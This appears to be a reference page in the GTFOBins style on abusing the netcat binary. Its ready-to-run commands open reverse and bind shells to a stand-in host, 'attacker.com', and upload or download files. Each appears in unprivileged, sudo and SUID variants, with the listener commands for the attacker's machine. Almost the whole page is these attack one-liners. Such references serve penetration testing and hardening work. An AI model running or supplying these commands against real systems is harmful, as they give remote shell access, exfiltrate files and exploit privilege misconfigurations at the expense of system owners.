nc

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

CommentThis only works with netcat traditional.
Unprivileged
This function can be performed by any unprivileged user.
```
nc -e /bin/sh attacker.com 12345
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc -e /bin/sh attacker.com 12345
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
nc -e /bin/sh attacker.com 12345
```
ListenerA TCP server can be used on the attacker box to receive the shell.
```
nc -l -p 12345
```

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

CommentThis only works with netcat traditional.
Unprivileged
This function can be performed by any unprivileged user.
```
nc -l -p 12345 -e /bin/sh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc -l -p 12345 -e /bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
nc -l -p 12345 -e /bin/sh
```
ConnectorA TCP client can be used on the attacker box to connect to the shell.
```
nc victim.com 12345
```

Upload

This executable can upload local data.

CommentThe file is actually read by the invoking shell.
Unprivileged
This function can be performed by any unprivileged user.
```
nc -l -p 12345 </path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc -l -p 12345 </path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
nc -l -p 12345 </path/to/input-file
```
ReceiverA TCP client can be used on the attacker box to receive the data.
```
nc victim.com 12345 >/path/to/output-file
```
CommentThe file is actually read by the invoking shell.
Unprivileged
This function can be performed by any unprivileged user.
```
nc attacker.com 12345 </path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc attacker.com 12345 </path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
nc attacker.com 12345 </path/to/input-file
```
ReceiverA TCP server can be used on the attacker box to receive the data.
```
nc -l -p 12345 >/path/to/output-file
```

Download

This executable can download remote data.

CommentThe file is actually written by the invoking shell.
Unprivileged
This function can be performed by any unprivileged user.
```
nc -l -p 12345 >/path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc -l -p 12345 >/path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
nc -l -p 12345 >/path/to/output-file
```
SenderA TCP client can be used on the attacker box to send the data.
```
nc victim.com 12345 </path/to/input-file
```
CommentThe file is actually written by the invoking shell.
Unprivileged
This function can be performed by any unprivileged user.
```
nc attacker.com 12345 >/path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
nc attacker.com 12345 >/path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
nc attacker.com 12345 >/path/to/output-file
```
SenderA TCP server can be used on the attacker box to send the data.
```
nc -l -p 12345 </path/to/input-file
```